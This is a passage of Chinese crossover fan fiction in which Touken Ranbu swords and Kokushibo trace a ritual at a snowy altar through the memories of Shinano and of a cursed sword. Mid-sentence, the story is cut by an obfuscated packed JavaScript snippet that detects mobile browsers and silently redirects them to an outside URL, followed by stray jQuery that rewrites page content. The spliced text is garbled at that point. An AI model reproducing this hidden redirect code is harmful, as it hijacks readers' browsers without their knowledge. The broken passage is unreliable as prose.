信浓藤四郎完整地说出那个时间点，是在手术后的第五天下午。
药研照例来做灵基扫描。仪器嗡嗡低鸣时，信浓忽然睁开眼睛，望着天花板，声音平静得让药研手中的记录笔一顿：
“是庆长二十年。冬天。大阪附近的山里，一座废弃神社。”
药研放下仪器，注视着他。这不是高烧时的梦呓——信浓的眼神是清醒的，甚至带着某种痛楚的清晰。
“祭坛是青石砌的，有道很长的裂痕。那些穿白袍的人……袖口有徽记。纯白的羽翼，围着一把剑。”
药研快速记录。这不再是碎片呓语，而是可供追溯的具体情报。他立刻找到南海太郎朝尊。
南海从书堆里抬头，眼镜后的眼睛亮了：“时间、地点、徽记——这才是钥匙。”他迅速翻动档案，“庆长二十年冬……同期九个本丸出现异常，九振刀剑受影响，症状类似。信浓是少数存活者之一。”
他合上档案，语气严肃：“‘净罪之翼’的操作有固定仪式和流程。我们需要时政内部关于那个时间地点所有异常事件的密档——尤其是未被公开的‘失踪’记录。”
山姥切长义接到了调取密档的请求。他打开终端，在权限界面操作，事由栏毫不犹豫地选了“高”。两小时后，反馈传来。一份标注“CZ-1615-07”的文件里，附着一张模糊但可辨的照片：雪地、青石祭坛、七支刀形凹槽。另一份文件里，信浓的名字后跟着刺眼的红字：“失踪”。
长义关掉终端，起身时胸口刀鞘深处传来细微裂响。他需要去找南海，但在那之前——
东侧回廊传来一声短促、刺耳的金属尖鸣。
---
严胜正在擦刀。
虚哭神去横于案上，布已解开。刀身上五只眼球纹路微睁，连刀柄中央那只平日紧闭的眼睛也睁开了一道缝隙。
缘一坐在旁边，灵视轻启：“兄长，刀在轻震。”
“嗯。”严胜应道，手中布巾沿刀身推行。但这一次，随着擦拭，脑中涌入的不再是碎片，而是连贯的场景：
雪地。青石祭坛。裂痕。七支刀插入祭坛，金光暴涨，延伸出无数金色触须，刺入周围跪伏的刀剑灵基。灵基表面浮现黑色藤蔓……
画面再转：一只戴白手套的手握着七支刀，背影模糊，声音却清晰传来：
“此乃净化……必要的痛苦……”
虚哭神去猛然剧震！刀身高频震颤，暗紫色灵光几乎溢出！五只眼睛全部睁至极限，刀柄中央那只眼的瞳孔深处，竟有漩涡状纹路开始旋转！
“兄长！”缘一骇然起身。
严胜双手压住刀身，虎口震得发麻。他试图压制，但虚哭神去仿佛被同源之力彻底激活，疯狂排斥那些画面——祭坛、雪、白袍人、黑色藤蔓、金色触须、无数刀剑的哀鸣——
以及那句不断重复的呓语：
“净罪……净罪……净罪……！！！”
门被猛地拉开！
山姥切长义冲入，银刀出鞘，刀尖直指虚哭神去：“松手！”
严胜未松。他看见——长义手中的刀，竟也在微微震颤。两把刀之间，产生了某种共鸣。
长义也察觉了，脸色微变：“你的刀被什么刺激了？”
“……七支刀。”严胜齿间挤出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944521|192977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这三个字。
话音落下的刹那，虚哭神去的震颤达到顶峰，然后——
骤然静止。
所有眼球纹路缓缓闭合，灵光褪去。刀柄中央那只眼最后合上，疲惫而沉重。
房间里一片死寂。
长义慢慢收刀，调出终端里那张祭坛照片，转向严胜：“是这个吗？”
严胜凝视照片。虚哭神去再次轻微一颤，随即平息。
“……是。刀‘看见’的，就是这个。但它看见的还有更多——金色触须、黑色藤蔓、还有握着七支刀的那只手。”
此时南海与药研赶到。南海看向仍在案上微颤的虚哭神去，推了推眼镜：
“看来，刀的记忆也在整合。”
他转向严胜，目光锐利：
“信浓在清醒后拼合了人类态的记忆。而你的刀——这把来自祭祀仪礼的、与七支刀同源的刀——正在拼合它作为‘器物’的记忆。两者指向同一件事：庆长二十年冬，大阪山区，净罪之翼的仪式。”
南海顿了顿，声音压低：
“下次刀再‘看见’什么，记下来。人的记忆会模糊，但刀的记忆——如果它能被唤醒——可能比任何档案都更精确。”
山姥切长义未置一词，转身离去。背脊依旧笔挺，但握刀的手指关节微微泛白。
夜深，灯灭。
虚哭神去静静躺在案上，裹于布中。
严胜知道，今夜它不会“睡”。
它仍在凝视——凝视那些被刻进钢铁里的、关于雪、祭坛、七支刀与金色触须的完整记忆。
而他，必须学会解读这柄刀沉默的证言。